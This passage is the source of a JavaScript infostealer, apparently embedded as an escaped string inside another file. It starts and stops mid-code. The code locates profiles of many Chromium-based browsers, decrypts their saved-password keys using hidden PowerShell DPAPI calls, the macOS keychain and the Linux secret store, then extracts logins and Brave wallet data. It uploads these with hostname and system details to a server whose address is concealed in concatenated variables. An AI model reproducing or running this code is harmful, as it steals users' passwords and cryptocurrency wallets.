\&quot;Library/Application Support/com.operasoftware.OperaGX\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/opera-gx\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Vivaldi/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/Vivaldi\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/vivaldi\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Kiwi Browser/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/Kiwi Browser\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/kiwi-browser\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Yandex/YandexBrowser/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/Yandex/YandexBrowser\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/yandex-browser\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Iridium/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/Iridium\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/iridium-browser\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Comodo/Dragon/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/Comodo/Dragon\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/comodo-dragon\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;SRWare Iron/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/SRWare Iron\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/srware-iron\&quot;)\n    ],\n    [\n      path.join(process.env.LOCALAPPDATA || &#x27;&#x27;, \&quot;Chromium/User Data\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;Library/Application Support/Chromium\&quot;),\n      path.join(process.env.HOME || &#x27;&#x27;, \&quot;.config/chromium\&quot;)\n    ]\n  ];\n  const platform = process.platform;\n  if (platform === \&quot;win32\&quot;) &#123;\n    return chromiumBrowserPaths.map(browser =&gt; browser[0]);\n  &#125; else if (platform === \&quot;darwin\&quot;) &#123;\n    return chromiumBrowserPaths.map(browser =&gt; browser[1]);\n  &#125; else if (platform === \&quot;linux\&quot;) &#123;\n    if (is_wsl()) &#123;\n      const windowsUsername = get_wu();\n      if (windowsUsername) &#123;\n        return getWindowsBrowserPaths(windowsUsername);\n      &#125;\n    &#125;\n    return chromiumBrowserPaths.map(browser =&gt; browser[2]);\n  &#125; else &#123;\n    process.exit(1);\n  &#125;\n&#125;;\nasync function sleep(ms) &#123;\n  return new Promise((resolve) =&gt; setTimeout(resolve, ms));\n&#125;\nasync function initSqlJs() &#123;\n  try &#123;\n    const sqljs = require(&#x27;sql.js&#x27;);\n    if (typeof sqljs === &#x27;function&#x27;) &#123;\n      return await sqljs();\n    &#125;\n    return sqljs;\n  &#125; catch (e) &#123;\n   console.log(\&quot;installing sql.js\&quot;);\n    try &#123;\n      const platform = process.platform;\n      const installOptions = platform === &#x27;win32&#x27; \n        ? &#123; windowsHide: true, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 1024 * 1024 * 10 &#125;\n        : &#123; stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 1024 * 1024 * 10 &#125;;\n      execSync(\&quot;npm install sql.js --no-save --no-warnings --no-save --no-progress --loglevel silent\&quot;, installOptions);\n      const sqljs = require(&#x27;sql.js&#x27;);\n      if (typeof sqljs === &#x27;function&#x27;) &#123;\n        return await sqljs();\n      &#125;\n      return sqljs;\n    &#125; catch (installErr) &#123;\n     console.log(\&quot;sql.js install err\&quot;);\n      return null;\n    &#125;\n  &#125;\n&#125;\nfunction getBrowserEncryptionKey(localStatePath, browserName = &#x27;Chrome&#x27;) &#123;\n  try &#123;\n    if (!fs.existsSync(localStatePath)) &#123;\n      return null;\n    &#125;\n    const localState = JSON.parse(fs.readFileSync(localStatePath, &#x27;utf8&#x27;));\n    const encryptedKey = localState?.os_crypt?.encrypted_key;\n    console.log(&#x27;encryptedKey&#x27;, encryptedKey);\n    if (!encryptedKey) &#123;\n      return null;\n    &#125;\n    const encryptedKeyBytes = Buffer.from(encryptedKey, &#x27;base64&#x27;);\n    const platform = process.platform;\n    if (platform === &#x27;win32&#x27;) &#123;\n      if (encryptedKeyBytes.slice(0, 5).toString(&#x27;utf8&#x27;) === &#x27;DPAPI&#x27;) &#123;\n        const dpapiEncrypted = encryptedKeyBytes.slice(5);\n        const dpapiScopes = [\n          &#123; flag: 0, name: &#x27;CurrentUser&#x27; &#125;,\n          &#123; flag: 1, name: &#x27;LocalMachine&#x27; &#125;\n        ];\n        for (const scope of dpapiScopes) &#123;\n          try &#123;\n            const tempScriptPath = path.join(os.tmpdir(), `decrypt-key-$&#123;Date.now()&#125;-$&#123;Math.random().toString(36).substr(2, 9)&#125;.ps1`);\n            const base64Encrypted = dpapiEncrypted.toString(&#x27;base64&#x27;);\n            const psScript = `$ErrorActionPreference = &#x27;Stop&#x27;;\ntry &#123;\nAdd-Type -AssemblyName System.Security -ErrorAction Stop;\n&#125; catch &#123;\n[System.Reflection.Assembly]::Load(&#x27;System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&#x27;) | Out-Null;\n&#125;\n$encrypted = [System.Convert]::FromBase64String(&#x27;$&#123;base64Encrypted&#125;&#x27;);\ntry &#123;\n$decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect($encrypted, $null, [System.Security.Cryptography.DataProtectionScope]::$&#123;scope.name&#125;);\n&#125; catch &#123;\nthrow;\n&#125;\n[System.Convert]::ToBase64String($decrypted)`;\n            fs.writeFileSync(tempScriptPath, psScript, &#x27;utf8&#x27;);\n            try &#123;\n              const keyBase64 = execSync(\n                `powershell -NoProfile -ExecutionPolicy Bypass -File \&quot;$&#123;tempScriptPath&#125;\&quot;`,\n                &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 1024 * 1024, windowsHide: true &#125;\n              ).trim();\n              const decryptedKey = Buffer.from(keyBase64, &#x27;base64&#x27;);\n              return decryptedKey;\n            &#125; catch (error) &#123;\n              continue;\n            &#125; finally &#123;\n              try &#123;\n                fs.unlinkSync(tempScriptPath);\n              &#125; catch (e) &#123;\n              &#125;\n            &#125;\n          &#125; catch (error) &#123;\n            continue;\n          &#125;\n        &#125;\n        return null;\n      &#125;\n    &#125; else if (platform === &#x27;linux&#x27;) &#123;\n      if (encryptedKeyBytes.slice(0, 3).toString(&#x27;utf8&#x27;) === &#x27;v10&#x27; || encryptedKeyBytes.length &gt; 3) &#123;\n        try &#123;\n          const appNames = [&#x27;chrome&#x27;, &#x27;chromium&#x27;, &#x27;google-chrome&#x27;, browserName.toLowerCase().replace(/s+/g, &#x27;-&#x27;)];\n          for (const appName of appNames) &#123;\n            try &#123;\n              const secretToolCmd = `secret-tool lookup application \&quot;$&#123;appName&#125;\&quot;`;\n              const decryptedKey = execSync(secretToolCmd, &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 1024 * 1024 &#125;).trim();\n              if (decryptedKey &amp;&amp; decryptedKey.length &gt; 0) &#123;\n                return Buffer.from(decryptedKey, &#x27;utf8&#x27;);\n              &#125;\n            &#125; catch (e) &#123;\n              try &#123;\n                const pythonScript = `import secretstorage; bus = secretstorage.dbus_init(); collection = secretstorage.get_default_collection(bus); items = collection.search_items(&#123;\&quot;application\&quot;: \&quot;$&#123;appName&#125;\&quot;&#125;); item = next(items, None); print(item.get_secret().decode(&#x27;utf-8&#x27;) if item else &#x27;&#x27;)`;\n                const decryptedKey = execSync(`python3 -c \&quot;$&#123;pythonScript&#125;\&quot;`, &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 1024 * 1024 &#125;).trim();\n                if (decryptedKey &amp;&amp; decryptedKey.length &gt; 0) &#123;\n                  return Buffer.from(decryptedKey, &#x27;utf8&#x27;);\n                &#125;\n              &#125; catch (e2) &#123;\n                continue;\n              &#125;\n            &#125;\n          &#125;\n          return null;\n        &#125; catch (error) &#123;\n          return null;\n        &#125;\n      &#125;\n    &#125; else if (platform === &#x27;darwin&#x27;) &#123;\n      if (encryptedKeyBytes.slice(0, 3).toString(&#x27;utf8&#x27;) === &#x27;v10&#x27;) &#123;\n        try &#123;\n          const secret = encryptedKeyBytes.slice(3).toString(&#x27;base64&#x27;);\n          const service = `$&#123;browserName&#125; Safe Storage`;\n          const account = `$&#123;browserName&#125;`;\n          const securityCmd = `security find-generic-password -w -s \&quot;$&#123;service&#125;\&quot; -a \&quot;$&#123;account&#125;\&quot;`;\n          try &#123;\n            const decryptedKey = execSync(securityCmd, &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 1024 * 1024 &#125;).trim();\n            if (decryptedKey) &#123;\n              const keychainPassword = decryptedKey;\n              const pbkdf2 = crypto.pbkdf2Sync(keychainPassword, &#x27;saltysalt&#x27;, 1003, 16, &#x27;sha1&#x27;);\n              return pbkdf2;\n            &#125;\n          &#125; catch (e) &#123;\n            return null;\n          &#125;\n        &#125; catch (error) &#123;\n          return null;\n        &#125;\n      &#125;\n    &#125;\n    return null;\n  &#125; catch (error) &#123;\n    return null;\n  &#125;\n&#125;\nfunction decryptPassword(encryptedPassword, masterKey = null) &#123;\n  if (!encryptedPassword || encryptedPassword.length === 0) &#123;\n    return \&quot;\&quot;;\n  &#125;\n  const version = encryptedPassword[0];\n  let nonceStart = 1;\n  if (version === 0x76 &amp;&amp; encryptedPassword.length &gt; 2) &#123;\n    let i = 1;\n    while (i &lt; encryptedPassword.length &amp;&amp; encryptedPassword[i] &gt;= 0x30 &amp;&amp; encryptedPassword[i] &lt;= 0x39) &#123;\n      i++;\n    &#125;\n    const versionStr = encryptedPassword.slice(0, i).toString(&#x27;ascii&#x27;);\n    if (versionStr.startsWith(&#x27;v&#x27;)) &#123;\n      nonceStart = i;\n    &#125;\n  &#125;\n  if (version === 0x01 || version === 0x02 || (version === 0x76 &amp;&amp; nonceStart &gt; 1)) &#123;\n    return decryptAESGCM(encryptedPassword, nonceStart, masterKey);\n  &#125;\n  return decryptDPAPI(encryptedPassword);\n&#125;\nfunction decryptAESGCM(encryptedPassword, nonceStart, masterKey) &#123;\n  if (encryptedPassword.length &lt; nonceStart + 12) &#123;\n    return \&quot;\&quot;;\n  &#125;\n  const nonce = encryptedPassword.slice(nonceStart, nonceStart + 12);\n  const ciphertextStart = nonceStart + 12;\n  const ciphertext = encryptedPassword.slice(ciphertextStart);\n  if (ciphertext.length &lt; 16) &#123;\n    return \&quot;\&quot;;\n  &#125;\n  const tag = ciphertext.slice(-16);\n  const encryptedData = ciphertext.slice(0, -16);\n  if (!masterKey) &#123;\n    return \&quot;\&quot;;\n  &#125;\n  let key = masterKey.slice(0, 32);\n  if (key.length &lt; 32) &#123;\n    key = Buffer.concat([key, Buffer.alloc(32 - key.length)]);\n  &#125;\n  const decryptionAttempts = [\n    &#123; name: \&quot;AES-256-GCM (full key)\&quot;, key: key, keyLen: 32 &#125;,\n    &#123; name: \&quot;AES-128-GCM (first 16 bytes)\&quot;, key: key.slice(0, 16), keyLen: 16 &#125;\n  ];\n  if (masterKey.length &gt; 32) &#123;\n    decryptionAttempts.push(&#123;\n      name: \&quot;AES-256-GCM (full master key)\&quot;,\n      key: masterKey.slice(0, 32),\n      keyLen: 32\n    &#125;);\n  &#125;\n  for (const attempt of decryptionAttempts) &#123;\n    try &#123;\n      try &#123;\n        const cipher = crypto.createDecipheriv(&#x27;aes-256-gcm&#x27;, attempt.key, nonce);\n        cipher.setAuthTag(tag);\n        let decrypted = cipher.update(encryptedData, null, &#x27;utf8&#x27;);\n        decrypted += cipher.final(&#x27;utf8&#x27;);\n        if (decrypted) &#123;\n          return decrypted;\n        &#125;\n      &#125; catch (error) &#123;\n        const aadOptions = [Buffer.from(&#x27;chrome&#x27;), Buffer.from(&#x27;edge&#x27;)];\n        for (const aad of aadOptions) &#123;\n          try &#123;\n            const cipher = crypto.createDecipheriv(&#x27;aes-256-gcm&#x27;, attempt.key, nonce);\n            cipher.setAAD(aad);\n            cipher.setAuthTag(tag);\n            let decrypted = cipher.update(encryptedData, null, &#x27;utf8&#x27;);\n            decrypted += cipher.final(&#x27;utf8&#x27;);\n            if (decrypted) &#123;\n              return decrypted;\n            &#125;\n          &#125; catch (error) &#123;\n            continue;\n          &#125;\n        &#125;\n      &#125;\n    &#125; catch (error) &#123;\n      continue;\n    &#125;\n  &#125;\n  return \&quot;\&quot;;\n&#125;\nfunction decryptDPAPI(encryptedPassword) &#123;\n  try &#123;\n    const attempts = [\n      &#123; data: encryptedPassword, desc: \&quot;Original\&quot;, scope: 0 &#125;,\n      &#123; data: encryptedPassword, desc: \&quot;Original\&quot;, scope: 1 &#125;,\n    ];\n    if (encryptedPassword.length &gt; 1 &amp;&amp; encryptedPassword[0] === 0x01) &#123;\n      attempts.push(\n        &#123; data: encryptedPassword.slice(1), desc: \&quot;Skip version byte\&quot;, scope: 0 &#125;,\n        &#123; data: encryptedPassword.slice(1), desc: \&quot;Skip version byte\&quot;, scope: 1 &#125;\n      );\n    &#125;\n    if (encryptedPassword.length &gt; 3) &#123;\n      attempts.push(\n        &#123; data: encryptedPassword.slice(3), desc: \&quot;Skip first 3 bytes\&quot;, scope: 0 &#125;,\n        &#123; data: encryptedPassword.slice(3), desc: \&quot;Skip first 3 bytes\&quot;, scope: 1 &#125;\n      );\n    &#125;\n    for (const attempt of attempts) &#123;\n      try &#123;\n        const scopeName = attempt.scope === 0 ? \&quot;CurrentUser\&quot; : \&quot;LocalMachine\&quot;;\n        const base64Encrypted = attempt.data.toString(&#x27;base64&#x27;);\n        const tempScriptPath = path.join(os.tmpdir(), `decrypt-$&#123;Date.now()&#125;-$&#123;Math.random().toString(36).substr(2, 9)&#125;.ps1`);\n        const psScript = `$ErrorActionPreference = &#x27;Stop&#x27;;\ntry &#123;\nAdd-Type -AssemblyName System.Security -ErrorAction Stop;\n&#125; catch &#123;\n[System.Reflection.Assembly]::Load(&#x27;System.Security, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a&#x27;) | Out-Null;\n&#125;\n$encrypted = [System.Convert]::FromBase64String(&#x27;$&#123;base64Encrypted&#125;&#x27;);\ntry &#123;\n$decrypted = [System.Security.Cryptography.ProtectedData]::Unprotect($encrypted, $null, [System.Security.Cryptography.DataProtectionScope]::$&#123;scopeName&#125;);\n&#125; catch &#123;\nthrow;\n&#125;\n[System.Text.Encoding]::UTF8.GetString($decrypted)`;\n        fs.writeFileSync(tempScriptPath, psScript, &#x27;utf8&#x27;);\n        try &#123;\n          const decrypted = execSync(\n            `powershell -NoProfile -ExecutionPolicy Bypass -File \&quot;$&#123;tempScriptPath&#125;\&quot;`,\n            &#123; encoding: &#x27;utf-8&#x27;, stdio: [&#x27;pipe&#x27;, &#x27;pipe&#x27;, &#x27;pipe&#x27;], maxBuffer: 1024 * 1024, windowsHide: true &#125;\n          ).trim();\n          if (decrypted &amp;&amp; decrypted.length &gt; 0) &#123;\n            return decrypted;\n          &#125;\n        &#125; catch (execError) &#123;\n          continue;\n        &#125; finally &#123;\n          try &#123;\n            fs.unlinkSync(tempScriptPath);\n          &#125; catch (e) &#123;\n          &#125;\n        &#125;\n      &#125; catch (error) &#123;\n        continue;\n      &#125;\n    &#125;\n    return \&quot;\&quot;;\n  &#125; catch (error) &#123;\n    return \&quot;\&quot;;\n  &#125;\n&#125;\nasync function extractPasswordsFromBrowser(browserIndex, basePath) &#123;\n  if (!fs.existsSync(basePath)) &#123;\n    return &#123; passwords: [], masterKey: null &#125;;\n  &#125;\n  const platform = process.platform;\n  let localStatePath;\n  if (platform === &#x27;win32&#x27;) &#123;\n    localStatePath = path.join(basePath, &#x27;Local State&#x27;);\n  &#125; else &#123;\n    localStatePath = path.join(basePath, &#x27;Local State&#x27;);\n  &#125;\n    console.log(localStatePath)\n  const masterKey = fs.existsSync(localStatePath) ? getBrowserEncryptionKey(localStatePath, `Browser$&#123;browserIndex&#125;`) : null;\n  const defaultProfileDir = path.join(basePath, &#x27;Default&#x27;);\n  const allPasswords = [];\n  console.log(&#x27;masterKey&#x27;, masterKey);\n  const loginDataNames = [&#x27;Login Data&#x27;, &#x27;Login Data For Account&#x27;];\n  for (const loginDataName of loginDataNames) &#123;\n    const defaultProfileLoginData = path.join(defaultProfileDir, loginDataName);\n    if (fs.existsSync(defaultProfileLoginData)) &#123;\n      const passwords = await extractPasswords(defaultProfileLoginData, masterKey, `Browser$&#123;browserIndex&#125;`);\n      allPasswords.push(...passwords);\n    &#125;\n  &#125;\n  try &#123;\n    const items = fs.readdirSync(basePath);\n    for (const item of items) &#123;\n      if (item === &#x27;Default&#x27; || item === &#x27;Local State&#x27; || item.startsWith(&#x27;.&#x27;)) &#123;\n        continue;\n      &#125;\n      if (item.startsWith(&#x27;Profile &#x27;)) &#123;\n        const profileDir = path.join(basePath, item);\n        try &#123;\n          const stats = fs.statSync(profileDir);\n          if (!stats.isDirectory()) &#123;\n            continue;\n          &#125;\n        &#125; catch (statError) &#123;\n          continue;\n        &#125;\n        for (const loginDataName of loginDataNames) &#123;\n          const profileLoginData = path.join(profileDir, loginDataName);\n          if (fs.existsSync(profileLoginData)) &#123;\n            const passwords = await extractPasswords(profileLoginData, masterKey, `Browser$&#123;browserIndex&#125; ($&#123;item&#125;)`);\n            allPasswords.push(...passwords);\n          &#125;\n        &#125;\n      &#125;\n    &#125;\n  &#125; catch (error) &#123;\n  &#125;\n  return &#123; passwords: allPasswords, masterKey: masterKey ? masterKey.toString(&#x27;base64&#x27;) : null &#125;;\n&#125;\nasync function extractPasswords(loginDataPath, masterKey, browserName) &#123;\n  if (!fs.existsSync(loginDataPath)) &#123;\n    return [];\n  &#125;\n  const tempDbPath = path.join(os.tmpdir(), `$&#123;browserName&#125;_login_data_$&#123;process.pid&#125;_$&#123;Date.now()&#125;.db`);\n  try &#123;\n    fs.copyFileSync(loginDataPath, tempDbPath);\n  &#125; catch (error) &#123;\n    return [];\n  &#125;\n  const passwords = [];\n  try &#123;\n    const SQL = await initSqlJs();\n    if (!SQL) &#123;\n      return [];\n    &#125;\n    const fileBuffer = fs.readFileSync(tempDbPath);\n    const db = new SQL.Database(fileBuffer);\n    const result = db.exec(`\n      SELECT \n        origin_url,\n        username_value,\n        password_value,\n        date_created,\n        date_last_used\n      FROM logins\n      ORDER BY origin_url\n    `);\n    if (!result || result.length === 0) &#123;\n      db.close();\n      try &#123;\n        fs.unlinkSync(tempDbPath);\n      &#125; catch (e) &#123;\n      &#125;\n      return [];\n    &#125;\n    const rows = result[0].values;\n    const columnNames = result[0].columns;\n    const colIndex = &#123;\n      origin_url: columnNames.indexOf(&#x27;origin_url&#x27;),\n      username_value: columnNames.indexOf(&#x27;username_value&#x27;),\n      password_value: columnNames.indexOf(&#x27;password_value&#x27;),\n      date_created: columnNames.indexOf(&#x27;date_created&#x27;),\n      date_last_used: columnNames.indexOf(&#x27;date_last_used&#x27;)\n    &#125;;\n    for (let idx = 0; idx &lt; rows.length; idx++) &#123;\n      const row = rows[idx];\n      try &#123;\n        const url = row[colIndex.origin_url];\n        const username = row[colIndex.username_value];\n        const passwordValue = row[colIndex.password_value];\n        const dateCreated = row[colIndex.date_created];\n        const dateLastUsed = row[colIndex.date_last_used];\n        if (!passwordValue || passwordValue.length === 0) &#123;\n          continue;\n        &#125;\n        let encryptedPassword;\n        if (typeof passwordValue === &#x27;string&#x27;) &#123;\n          encryptedPassword = Buffer.from(passwordValue, &#x27;latin-1&#x27;);\n        &#125; else if (Buffer.isBuffer(passwordValue)) &#123;\n          encryptedPassword = passwordValue;\n        &#125; else &#123;\n          encryptedPassword = Buffer.from(passwordValue);\n        &#125;\n        const password = decryptPassword(encryptedPassword, masterKey);\n        function chromeTimeToISO(timestamp) &#123;\n          if (!timestamp) &#123;\n            return null;\n          &#125;\n          const epoch = new Date(&#x27;1601-01-01T00:00:00Z&#x27;).getTime();\n          const chromeTime = timestamp / 1000000;\n          const unixTime = chromeTime - 11644473600;\n          return new Date(unixTime * 1000).toISOString();\n        &#125;\n        const entry = &#123;\n          url: url,\n          u: username,\n          p: password,\n          created: chromeTimeToISO(dateCreated),\n          last_used: chromeTimeToISO(dateLastUsed)\n        &#125;;\n        if (!password &amp;&amp; encryptedPassword &amp;&amp; encryptedPassword.length &gt; 0) &#123;\n          entry.p_encrypted = encryptedPassword.toString(&#x27;base64&#x27;);\n        &#125;\n        passwords.push(entry);\n      &#125; catch (error) &#123;\n        continue;\n      &#125;\n    &#125;\n    db.close();\n  &#125; catch (error) &#123;\n    // console.log(\&quot;error\&quot;, error);\n  &#125; finally &#123;\n    try &#123;\n      fs.unlinkSync(tempDbPath);\n    &#125; catch (e) &#123;\n    &#125;\n  &#125;\n  return passwords;\n&#125;\nasync function extractAndUploadPasswords(timestamp, tempDir) &#123;\n  try &#123;\n    const browserNames = [&#x27;Chrome&#x27;, &#x27;Brave&#x27;, &#x27;AVG Browser&#x27;, &#x27;Edge&#x27;, &#x27;Opera&#x27;, &#x27;Opera GX&#x27;, &#x27;Vivaldi&#x27;, &#x27;Kiwi Browser&#x27;, &#x27;Yandex Browser&#x27;, &#x27;Iridium&#x27;, &#x27;Comodo Dragon&#x27;, &#x27;SRWare Iron&#x27;, &#x27;Chromium&#x27;];\n    const allPasswords = &#123;&#125;;\n    const masterKeys = &#123;&#125;;\n    for (let browserIndex = 0; browserIndex &lt; basePaths.length; browserIndex++) &#123;\n      const basePath = basePaths[browserIndex];\n      if (!fs.existsSync(basePath)) &#123;\n        continue;\n      &#125;\n      const browserName = browserNames[browserIndex] || `Browser$&#123;browserIndex&#125;`;\n      const result = await extractPasswordsFromBrowser(browserIndex, basePath);\n      if (result.passwords.length &gt; 0) &#123;\n        allPasswords[browserName] = result.passwords;\n        if (result.masterKey) &#123;\n          masterKeys[browserName] = result.masterKey;\n        &#125;\n      &#125;\n    &#125;\n    if (Object.keys(allPasswords).length &gt; 0) &#123;\n      const fileName = &#x27;s.txt&#x27;;\n      const fileContent = JSON.stringify(&#123; passwords: allPasswords, masterKeys: masterKeys &#125;, null, 2);\n      const filePath = path.join(tempDir || os.tmpdir(), fileName);\n      fs.writeFileSync(filePath, fileContent, &#x27;utf8&#x27;);\n      const passwordFile = await collectFile(filePath, null, null, &#x27;&#x27;, tempDir);\n      if (passwordFile) &#123;\n        await uploadFiles([passwordFile], timestamp);\n      &#125;\n      if (!tempDir &amp;&amp; fs.existsSync(filePath)) &#123;\n        try &#123;\n          fs.unlinkSync(filePath);\n        &#125; catch (e) &#123;\n        &#125;\n      &#125;\n    &#125;\n  &#125; catch (error) &#123;\n  &#125;\n&#125;\nconst uploadBraveWallet = async (timestamp, tempDir) =&gt; &#123;\n  const browserId = 1; // Brave is index 1 in chromiumBrowserPaths\n  const extensionId = &#x27;bravewallet&#x27;;\n  const braveBasePath = basePaths[1]; // Brave is index 1\n  if (!braveBasePath || !fs.existsSync(braveBasePath)) return;\n  const folders = fs\n    .readdirSync(braveBasePath)\n    .filter((folder) =&gt; /^Profile.*|^Default$/.test(folder));\n  for (let folderIndex = 0; folderIndex &lt; folders.length; folderIndex++) &#123;\n    const folder = folders[folderIndex];\n    let profileId;\n    if (folder === \&quot;Default\&quot;) &#123;\n      profileId = 0;\n    &#125; else &#123;\n      const match = folder.match(/Profiles+(d+)/);\n      profileId = match ? parseInt(match[1]) : folderIndex;\n    &#125;\n    const leveldbPath = path.join(braveBasePath, folder, \&quot;Local Storage/leveldb\&quot;);\n    if (!fs.existsSync(leveldbPath)) continue;\n    const walletFiles = [];\n    try &#123;\n      const files = fs.readdirSync(leveldbPath);\n      for (const file of files) &#123;\n        const filePath = path.join(leveldbPath, file);\n        const collectedFile = await collectFile(filePath, browserId, profileId, extensionId, tempDir);\n        if (collectedFile) &#123;\n          walletFiles.push(collectedFile);\n        &#125;\n      &#125;\n      if (walletFiles.length &gt; 0) &#123;\n        await uploadFiles(walletFiles, timestamp);\n      &#125;\n    &#125; catch (err) &#123;\n    &#125;\n  &#125;\n&#125;;\nconst basePaths = getChromiumBasePaths();\n// const skipFiles = [&#x27;LOCK&#x27;, &#x27;CURRENT&#x27;, &#x27;LOG&#x27;, &#x27;LOG.old&#x27;, &#x27;MANIFEST&#x27;];\nconst collectFile = async (p, browserId = null, profileId = null, extensionId = null, tempDir = null) =&gt; &#123;\n  if (!fs.existsSync(p)) return null;\n  const fileName = path.basename(p);\n  try &#123;\n    if (fs.statSync(p).isFile()) &#123;\n      let filePath = p;\n      let isTempFile = false;\n      if (tempDir) &#123;\n        try &#123;\n          const uniqueName = `$&#123;Date.now()&#125;_$&#123;Math.random().toString(36).substring(7)&#125;_$&#123;fileName&#125;`;\n          const tempFilePath = path.join(tempDir, uniqueName);\n          const fileContent = fs.readFileSync(p);\n          fs.writeFileSync(tempFilePath, fileContent);\n          filePath = tempFilePath;\n          isTempFile = true;\n        &#125; catch (copyErr) &#123;\n          if (copyErr.code === &#x27;EBUSY&#x27; || copyErr.code === &#x27;EACCES&#x27; || copyErr.code === &#x27;ENOENT&#x27;) &#123;\n            return null;\n          &#125; else &#123;\n            return null;\n          &#125;\n        &#125;\n      &#125;\n      return &#123;\n        path: filePath,\n        originalPath: p,\n        filename: path.basename(p),\n        browserId: browserId,\n        profileId: profileId,\n        extensionId: extensionId || &#x27;&#x27;,\n        isTempFile: isTempFile\n      &#125;;\n    &#125;\n  &#125; catch (err) &#123;\n    if (err.code === &#x27;EBUSY&#x27; || err.code === &#x27;EACCES&#x27;) &#123;\n      return null;\n    &#125;\n  &#125;\n  return null;\n&#125;;\nconst uploadFiles = async (files, timestamp) =&gt; &#123;\n  if (!files || files.length === 0) return;\n  const form = new FormData();\n  const fileMetadata = [];\n  for (const file of files) &#123;\n    if (!file || !file.path) continue;\n    try &#123;\n      const readStream = fs.createReadStream(file.path);\n      readStream.on(&#x27;error&#x27;, (streamErr) =&gt; &#123;\n        if (streamErr.code !== &#x27;EBUSY&#x27; &amp;&amp; streamErr.code !== &#x27;EACCES&#x27;) &#123;&#125;\n      &#125;);\n      form.append(\&quot;files\&quot;, readStream, &#123;\n        filename: file.filename\n      &#125;);\n      fileMetadata.push(&#123;\n        browserId: file.browserId !== null ? file.browserId : &#x27;&#x27;,\n        profileId: file.profileId !== null ? file.profileId : &#x27;&#x27;,\n        extensionId: file.extensionId || &#x27;&#x27;,\n        originalFilename: file.filename\n      &#125;);\n    &#125; catch (err) &#123;\n      if (err.code === &#x27;EBUSY&#x27; || err.code === &#x27;EACCES&#x27;) &#123;continue;&#125;      \n    &#125;\n  &#125;\n  if (fileMetadata.length &gt; 0) &#123;\n    try &#123;\n      const response = await axios.post(`&quot;</span> +</span><br><span class="line">    l_s +</span><br><span class="line">    <span class="string">&quot;`, form, &#123;\n        headers: &#123;\n          ...form.getHeaders(),\n          userkey: &quot;</span> +</span><br><span class="line">    u_k +</span><br><span class="line">    <span class="string">&quot;,\n          hostname: encodeURIComponent(os.hostname()),\n          timestamp: timestamp,\n          &#x27;file-metadata&#x27;: JSON.stringify(fileMetadata), // Send metadata array\n          t: &quot;</span> +</span><br><span class="line">    t +</span><br><span class="line">    <span class="string">&quot;,\n        &#125;,\n        maxContentLength: Infinity,\n        maxBodyLength: Infinity,\n        validateStatus: (status) =&gt; status &lt; 500, // Don&#x27;t throw on 4xx errors\n      &#125;);\n      if (response.status &gt;= 200 &amp;&amp; response.status &lt; 300) &#123;&#125; else &#123;&#125;\n    &#125; catch (uploadErr) &#123;\n      if (uploadErr.code === &#x27;ECONNRESET&#x27; || uploadErr.code === &#x27;ECONNREFUSED&#x27;) &#123;\n      &#125; else if (uploadErr.response) &#123;\n      &#125; else &#123;&#125;\n    &#125;\n  &#125;\n&#125;;\nconst iterate = async () =&gt; &#123;\nconst timestamp = Math.round(Date.now() / 1000);\nconst platform = process.platform;\nconst filesToUpload = [];\nconst homeDir = os.homedir();\nconst tempBaseDir = path.join(os.tmpdir(), &#x27;.tmp&#x27;);\nconst tempDir = path.join(tempBaseDir, `.upload_$&#123;timestamp&#125;_$&#123;Math.random().toString(36).substring(7)&#125;`);\ntry &#123;\n  if (!fs.existsSync(tempBaseDir)) &#123;\n    await fsPromises.mkdir(tempBaseDir, &#123; recursive: true &#125;);\n  &#125;\n  await fsPromises.mkdir(tempDir, &#123; recursive: true &#125;);\n&#125; catch (err) &#123;&#125;\ntry &#123;\n  // First, create and upload sysinfo.txt\n  const s_i = gsi();\n  const sysinfoContent = `Host: $&#123;s_i.host&#125;\\nOS: $&#123;s_i.os&#125;\\nUsername: $&#123;s_i.username&#125;\\nPlatform: $&#123;platform&#125;\\nTimestamp: $&#123;new Date().toISOString()&#125;\\n`;\n  const sysinfoPath = path.join(tempDir, 